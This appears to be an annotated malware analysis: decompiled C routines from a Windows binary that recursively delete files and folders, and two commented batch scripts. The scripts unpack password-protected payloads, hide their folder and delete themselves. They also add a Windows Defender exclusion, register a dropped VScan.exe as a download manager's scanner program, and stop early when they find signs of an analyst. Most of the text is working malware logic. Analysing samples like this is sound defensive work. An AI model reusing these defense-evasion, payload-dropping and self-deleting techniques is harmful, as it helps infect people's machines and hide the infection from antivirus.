int __cdecl HandleFile(LPCWSTR lpFileName, FILETIME *lpFileTime2)
{
  DWORD FileAttributesW; // eax
  HANDLE FirstFileW; // eax
  struct _WIN32_FIND_DATAW FindFileData; // [esp+4h] [ebp-250h] BYREF

  FileAttributesW = GetFileAttributesW(lpFileName);
  if ( FileAttributesW == -1 )
    return 0;
  if ( (FileAttributesW & 0x10) != 0 ) // if file is a directory
  {
    SetLastError(0x10u);
    return -1;
  }
  else
  {
    if ( !dword_417770 )
      return sub_402FED(lpFileName);
    if ( dword_417770 == 2
      && ((FirstFileW = FindFirstFileW(lpFileName, &FindFileData), FirstFileW == (HANDLE)-1)
       || (FindClose(FirstFileW), CompareFileTime(&FindFileData.ftLastWriteTime, lpFileTime2) < 0)) )
    {
      return sub_402FED(lpFileName);
    }
    else
    {
      return 1;
    }
  }
}

int __cdecl sub_402FED(LPCWSTR lpFileName)
{
  if ( sub_402C86(lpFileName) )
    return 0;
  if ( GetLastError() == 5 && (dword_417774 & 8) != 0 )
    return 1;
  return -1;
}

int __cdecl sub_402C86(LPCWSTR lpFileName)
{
  DWORD FileAttributesW; // eax

  if ( dword_4177F0 )
    return 1;
  FileAttributesW = GetFileAttributesW(lpFileName);
  if ( FileAttributesW == -1 )
    return 1;
  if ( (FileAttributesW & '\x10') != 0 ) // if file is a directory
    return sub_402B79(lpFileName); // traverse and delete sub-files in the directory
  if ( SetFileAttributesW(lpFileName, 0) ) // delete the file
    return DeleteFileW(lpFileName);
  return 0;
}

int __cdecl sub_402B79(LPCWSTR lpPathName)
{
  WCHAR *v1; // Pointer to store the modified path name
  HANDLE FirstFileW; // File handle for FindFirstFileW
  int v3; // Variable to store function return values
  struct _WIN32_FIND_DATAW FindFileData; // Struct to store file information
  LPCWSTR lpFileName[3]; // Array to store file names

  sub_4024FC(lpFileName, (int)lpPathName); // Modify the path name
  sub_40254D(L"\\*"); // Append "\\*" to the path name
  v1 = (WCHAR *)lpFileName[0]; // Assign the modified path name
  FirstFileW = FindFirstFileW(lpFileName[0], &FindFileData); // Get file information for the first file in the directory

  if (FirstFileW != (HANDLE)-1) // If the directory is not empty
  {
    while (1)
    {
      sub_401329(lpFileName, (int)lpPathName); // Construct the full path of the file or directory
      sub_401429(92); // Append a backslash character
      sub_40254D(FindFileData.cFileName); // Append the file or directory name to the path
      v1 = (WCHAR *)lpFileName[0]; // Update the modified path name

      if ((FindFileData.dwFileAttributes & 0x10) == 0) // If it's not a directory
        break;

      // If the directory name is not "." or "..", recursively call the function
      if (lstrcmpW(FindFileData.cFileName, L".") && lstrcmpW(FindFileData.cFileName, L".."))
      {
        v3 = sub_402B79(v1);
        goto LABEL_8;
      }
LABEL_9:
      // Move to the next file or directory in the directory
      if (!FindNextFileW(FirstFileW, &FindFileData))
      {
        FindClose(FirstFileW);
        goto LABEL_11;
      }
    }

    // If the file or directory is not a directory, attempt to delete it
    if (!SetFileAttributesW(lpFileName[0], 0))
      goto LABEL_14;

    v3 = DeleteFileW(v1);

LABEL_8:
    if (!v3)
      goto LABEL_14;

    goto LABEL_9;
  }

LABEL_11:
  // If the directory is successfully emptied, try to delete the directory itself
  if (SetFileAttributesW(lpPathName, 0) && RemoveDirectoryW(lpPathName))
  {
    operator delete(v1);
    return 1; // Return 1 for successful directory deletion
  }
  else
  {
LABEL_14:
    operator delete(v1);
    return 0; // Return 0 for failure in directory deletion
  }
}

@ECHO OFF
:: Disable command echoing to prevent displaying commands on the command prompt

ATTRIB -S +H .
:: Remove the system attribute and add the hidden attribute for the current directory

7za e files.tmp -p%PW% -aoa IDM0.bat
7za e files.tmp -p%PW% -aoa IDM.bat
7za e files.tmp -p%PW% -aoa NSudo86x.exe
7za e files.tmp -p%PW% -aoa AB2EF.exe

:: Use the 7-Zip command-line tool to extract files from "files.tmp" with the specified password (%PW%),
:: -aoa indicates overwriting all files without prompting

DEL /F /Q /A %0
:: Delete the current script file (%0). /F forces deletion, /Q deletes silently, /A deletes all files including read-only files

EXIT

@ECHO OFF
SET "NUL=1>NUL 2>NUL"
SETLOCAL ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS

:: %NUL% Redirect any output or error messages to the NUL device to keep the operation silent

:: Check if the registry key "ppd" exists in the "RunMRU" key under the current user registry
REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" | FIND /I "ppd" > NUL && GOTO EndScript

:: Check if the registry value "ShowSuperHidden" is set to 1 in the "Advanced" key under the current user registry
REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" | FIND /I "1" > NUL && GOTO EndScript

:: Check the system architecture and set OS_Bit variable accordingly
REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0" | FIND /I "x86" > NUL && SET "OS_Bit=32Bit" || SET "OS_Bit=64Bit"

IF /I "!OS_Bit!" EQU "64Bit" (
    :: Exclude a path from Windows Defender using PowerShell
    POWERSHELL -Command Add-MpPreference -ExclusionPath "!ppD!" %NUL%

    :: If the exclusion was successful, extract "VScan.exe" from "files.tmp" with a password and place it in the specified directory
    IF /I "!ERRORLEVEL!" EQU "0" (
        7za e "files.tmp" -p!PW! -aoa "VScan.exe" -o"!ppDM!" %NUL%

        :: Configure the registry key for the download manager, specifying the path to "VScan.exe"
        REG ADD "HKCU\Software\DownloadManager" /v "VScannerProgram" /t "REG_SZ" /d "!ppDM!\VScan.exe" /f %NUL%

        :: Delete a specific registry value related to download manager parameters
        REG DELETE "HKCU\Software\DownloadManager" /v "VScannerParameters" /f %NUL%
    )
)

:EndScript
ENDLOCAL

:: Delete the script file
DEL /F /Q /A %0 %NUL%
EXIT